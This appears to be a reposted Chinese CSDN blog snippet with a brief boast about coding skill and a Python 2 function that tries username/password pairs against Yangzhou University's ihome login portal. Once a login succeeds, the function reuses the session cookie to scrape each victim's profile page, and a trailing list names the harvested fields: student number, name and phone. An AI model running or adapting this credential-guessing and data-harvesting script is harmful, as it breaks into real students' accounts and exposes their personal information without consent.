标签:
功力不是体现在独具匠心的构造
而是体现在对几个对象的熟练处理,"得心应手"不过如此了。
def getinfo( tp=('1000000', '888810'), queue=queue ): username, password = tp try: s = requests.Session() r = s.post( "http://ihome.yzu.edu.cn/appdeskWeb/authenLogin", data={'goto':'http://ihome.yzu.edu.cn:80/ihome/index?null','username':username, 'password':password}, headers={ 'Host': 'ihome.yzu.edu.cn', 'User-Agent': 'windly spider'}, timeout=7 ) r.headers['content-length'] print '\033[91m Got it: {} \033[0m'.format(tp) s.get('http://ihome.yzu.edu.cn/ihome/authen?decodedCookieValue={}&callbackUrl=http://ihome.yzu.edu.cn:80%2Fihome%2Findex%3Fnull'.format(s.cookies.get_dict()['jnTitkect']), headers={ 'Host': 'ihome.yzu.edu.cn', 'User-Agent': 'Super monkey'}, timeout=7 ) t = s.get('http://ihome.yzu.edu.cn/ihome/profile/info', headers={ 'Host': 'ihome.yzu.edu.cn', 'User-Agent': 'Super monkey'}, timeout=7 ) _ = [x for x in [x.replace('\r', '').replace('\t', '').replace('\n', '').replace(' ', '') for x in re.compile('5px;">(.*?)<', re.DOTALL).findall( t.content )] if x] queue.put(_) print _, 'Queue \'s size', queue.qsize() except: pass print '\033[91mthe network is not the girl\033[0m'
[‘xuehao‘,
‘xing ming‘,
‘ss‘,
‘phone‘
]
标签:
原文地址:http://blog.csdn.net/u010211892/article/details/43649553